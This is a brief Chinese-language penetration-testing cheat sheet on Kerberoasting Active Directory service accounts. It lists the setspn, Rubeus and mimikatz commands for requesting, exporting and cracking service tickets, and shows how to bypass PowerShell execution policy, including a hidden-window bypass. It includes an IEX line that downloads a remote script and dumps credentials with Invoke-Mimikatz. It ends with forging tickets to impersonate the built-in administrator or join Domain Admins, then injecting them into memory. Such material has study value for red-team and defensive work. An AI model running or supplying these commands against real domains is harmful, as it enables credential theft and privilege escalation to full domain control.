攻击简介
过程:
查询SPN,找到有价值的SPN,需要满足以下条件:
1、该SPN注册在域用户帐户(Users)下
2、域用户账户的权限很高
3、请求TGS
4、导出TGS
5、暴力破解
SETSPN
setspn -A HOST/AD.test.com test #给账号申请SPN
机器:AD.test.com 帐号:test 服务:HOST
若有些服务有端口,则可以直接这样写:
setspn -A HTTP/AD.test.com:80 test
setspn -q */* #查询
setspn -d HOST/AD.test.com test #删除SPN
(当前所在计算机必须有设置SPN的权限)
例如:
通过web
用户给De1ta
设置spn然后通过Kerberoasting
去暴力破解De1ta
用户的密码
Rubeus
Rubeus.exe kerberoast
导出hash
,可以直接使用hashcat
破解
并且此时已经申请到TGS并写入到了内存
此时我们可以用mimikatz
提取票据 kerberos::list /export
Invoke-Kerberoast
这个平时用得比较少,自己还是习惯使用Rubeus
有时候powershell是禁止执行脚本的,这个时候需要管理员权限
运行get-executionpolicy,如果结果是Restricted,那表示禁止执行脚本
允许执行脚本:set-executionpolicy -executionpolicy unrestricted
也可以直接绕过
本地权限绕过:
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
地隐藏权限绕过:
PowerShell.exe -ExecutionPolicy Bypass -NoLogo –NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1
IEX下载远程PS1脚本权限绕过执行:
powershell.exe “IEX (New-Object Net.WebClient).DownloadString(‘http://网址/对应脚本名称’); Invoke-Mimikatz -DumpCreds”
服务票据重写&RAM注入
Kerberos票据使用密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务将被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 #设置到高权限账户
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512#设置到高权限组
使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos
协议对目标服务执行身份验证。
kerberos::ptt PENTESTLAB.kirbi